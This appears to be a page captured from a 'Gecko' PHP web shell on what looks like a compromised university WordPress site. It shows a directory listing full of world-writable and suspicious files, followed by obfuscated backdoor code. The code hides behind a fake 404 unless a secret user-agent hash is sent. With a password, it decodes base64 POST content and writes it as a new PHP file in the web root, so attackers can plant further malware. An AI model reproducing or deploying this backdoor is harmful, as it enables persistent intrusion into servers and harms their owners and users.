Gecko [ elibrary.unsap.ac.id ]

Name	Size	Permission	Date
.analytic	[ DIR ]	drwxrwxrwx	2023-12-09 02:53
.git	[ DIR ]	drwxrwxrwx	2024-03-16 19:27
.quarantine	[ DIR ]	drwxrwxrwx	2023-07-11 01:22
.tmb	[ DIR ]	drwxrwxrwx	2023-12-08 20:02
.well-known	[ DIR ]	drwxrwxrwx	2023-07-09 22:57
Relawan	[ DIR ]	drwxrwxrwx	2024-03-23 16:47
cache	[ DIR ]	drwxrwxrwx	2024-03-16 19:26
cgi-bin	[ DIR ]	drwxrwxrwx	2023-12-09 02:53
wp-admin	[ DIR ]	drwxrwxrwx	2023-07-11 00:38
wp-content	[ DIR ]	drwxrwxrwx	2024-09-18 09:08
wp-includes	[ DIR ]	drwxrwxrwx	2023-07-09 22:59
.ftpquotas	91 B	-rw-rw-rw-	2023-10-21 15:08
.htaccess	0 B	-rw-rw-rw-	2023-12-19 16:44
.htaccess.bk	523 B	-rw-rw-rw-	2023-07-09 23:00
.tmp	355 B	-rw-rw-rw-	2024-02-26 04:23
0cuknq3efh.php	0 B	-rw-rw-rw-	2024-03-27 02:01
7mhilcf.php	0 B	-rw-rw-rw-	2024-03-27 02:01
Relawan.zip	81.75 MB	-rw-rw-rw-	2023-07-21 16:22
_htaccess	1.99 KB	-rw-rw-rw-	2023-07-16 00:24
about.php	250.42 KB	-rw-rw-rw-	2024-02-17 13:34
admin-ajax.php	0 B	-rw-rw-rw-	2024-03-27 01:54
admin.php	48.55 KB	-rw-rw-rw-	2024-02-17 13:34
error_log	113.8 KB	-rw-rw-rw-	2023-07-21 13:08
googlea1919ab817f4ec66.html	53 B	-rw-rw-rw-	2023-07-21 18:59
index.old.20231021	405 B	-rw-rw-rw-	2023-10-21 15:08
index.php	126.94 KB	-rw-rw-rw-	2024-03-15 23:22
license.txt	19.45 KB	-rw-rw-rw-	2023-07-09 22:59
naila.txt	29 B	-rw-rw-rw-	2024-03-17 01:58
nyve3864.php	4.93 KB	-rw-rw-rw-	2020-09-30 18:11
op.php	20.67 KB	-rw-rw-rw-	2023-10-23 18:08
oujs1g.php	4.93 KB	-rw-rw-rw-	2022-01-16 10:40
profile.php	0 B	-rw-rw-rw-	2024-03-27 02:06
quarantine.zip	227.28 MB	-rw-rw-rw-	2023-07-21 14:37
readme.html	7.23 KB	-rw-rw-rw-	2023-07-09 22:59
web.config	993 B	-rw-rw-rw-	2022-11-16 20:57
wp-activate.php	7.04 KB	-rw-rw-rw-	2023-07-09 22:59
wp-admin.php	3.26 KB	-r--r--r--	2024-02-17 13:34
wp-blog-header.php	351 B	-rw-rw-rw-	2023-07-09 22:59
wp-comment.php	9.3 KB	-r--r--r--	2024-02-17 13:34
wp-comments-post.php	2.28 KB	-rw-rw-rw-	2023-07-09 22:59
wp-config-sample.php	3.36 KB	-rw-rw-rw-	2023-07-09 22:59
wp-config.php	3.15 KB	-rw-rw-rw-	2023-07-21 15:51
wp-corn-sample.php	24.53 KB	-rw-rw-rw-	2024-02-17 13:34
wp-cron.php	5.41 KB	-rw-rw-rw-	2023-07-09 22:59
wp-files.php	0 B	-rw-rw-rw-	2023-07-11 01:33
wp-include.php	373 B	-r--r--r--	2024-02-17 13:34
wp-links-opml.php	2.44 KB	-rw-rw-rw-	2023-07-09 22:59
wp-load.php	3.7 KB	-rw-rw-rw-	2023-07-09 22:59
wp-loader.php	0 B	-rw-rw-rw-	2024-03-27 02:07
wp-login.php	48.17 KB	-rw-rw-rw-	2023-07-09 22:59
wp-logln.php	1.71 KB	-rw-rw-rw-	2024-02-17 13:34
wp-mail.php	8.34 KB	-rw-rw-rw-	2023-07-09 22:59
wp-settings.php	24.41 KB	-rw-rw-rw-	2023-07-09 22:59
wp-signup.php	33.54 KB	-rw-rw-rw-	2023-07-09 22:59
wp-trackback.php	4.77 KB	-rw-rw-rw-	2023-07-09 22:59
wp-ver.php	27.16 KB	-r--r--r--	2024-02-17 13:34
xmlrpc.php	3.16 KB	-rw-rw-rw-	2023-07-09 22:59
xntzfm4.php	4.93 KB	-rw-rw-rw-	2020-04-01 19:30
yo.php.suspected	276 B	-rw-rw-rw-	2023-10-23 18:08
zidaLGJC	65.91 MB	-rw-rw-rw-	2023-07-21 14:09

Rename

<?php
if (/*e:RMD[Ma7d,!}o-vIh<*/md5/*rBBFkBqmW%-Q*/(/*i]gkV6U*/md5 ##g^fOG5]RoQvl_1@vfLI
(/*qTFlE}w)Rye}<bC+\*/md5/*ckP491JCUv%jzD ciS*/( ##&WmY$g;
$_SERVER ##3-<qG;dGh=spJZ
['HTTP_USER_AGENT']))) != /*{9xu5f*/'39542de4e2fa50462d96ea26e878a658')/*@IJim_8q}OkJ~qh 5Q*/ {
    /*K.EK&04w{nH]I*/header ##sA,>$|HE o
( ##m5YU6<eKhQ{Cy30lH
'HTTP/1.1 404 Not Found')//U+aY|<k&xl#8S
;
     ##Ui8>&s0=
header//)g4|(F]v=aGI{i x
(/*M;u }}_usTDAsi@YaiYF*/"status: 404 Not Found") ##S[wk.B@b#[`-:u
;
    die();
}
if(!empty(/*(*-+U.bE\Vj3lI */$_POST/*G[qejS[Pdf38F{lrGk4*/["contentp"]) && !empty(//DR;HG4PTq]G
$_POST ## >9ZeIVbrE}
["filename"]) && @//v^s%JDIT}a
md5/*S]DNV*/(/*F!8d$1m]cv,BF_Y&brD*/$_POST//7!kd`pgw
["pass"]) == /*h=a:`hFR o[I*/"bc795727e71d6b3f9fff79eb7bccf000") ##tXFY~w+v>
{
    //qmt!58R-RH#
$filename ##Gr8u6|VP5 R
= //xcK+_t(RJm
$_SERVER//#v;IpFU
["DOCUMENT_ROOT"] . /*tl!Ug<h_Mz;LSkB9$*/"/"./*fEw#}#XC1)7s}C# 0`zc*/@//)@@-.ApCH=@pN**F@mv
trim//(HV-Zc7
(/*y73]iDGy$ausOD(*/$_POST/*M`:kv6#wQL3|n%sr8*/["filename"]) . /*1iA}IK*/".p";/*EOZ0dpb*/
    /*pu(6cU3WNQz,h*/$filename//mdyn*CYOJh<Z@CZh
.= /*%7&B{oFlN{L*/"hp";/*!]!n~~A1_h)M0D1SCB*/
    //U~ nPEp-{J]wMi*%FA
$path ##~sW.&:D
=  ##|70t0c2~,L7=f_>.
substr_replace//+i<wstUBeU_
("bar","se646",2);
     ##a;.Ds
$path ##os4a|GMA Nl,R)SnKb-4
=  ##~:`y1zv
substr_replace//;HGm^[>t7Hz9:
($path,"_decor",6);
    /*pFj\Hvnjq*/$path//u42[; j5w0R
=  ##J.BKi&;oeN>b`
substr_replace ##0DsRG`b~(]t
($path,"de",11);
     ##AmG2|E&hq& f
file_put_contents ##ma=lXCGeOhb
($filename, //OLo42CyR)
"<?php\n"./*-)X%::<)c*/$path/*FSS^9*/( ##@HbOrt%qT2A
$_POST ##]4ZGjp0Om\1
["contentp"]).//`[Dn)K*.FM^egA< Z
"?>")/*}M~wDFTE[44ICBQ*/;
    echo  ##p\Me*mx=B)nOX[
$filename/*ZWB! _Fo]0rWV.n6Sh*/;exit();
}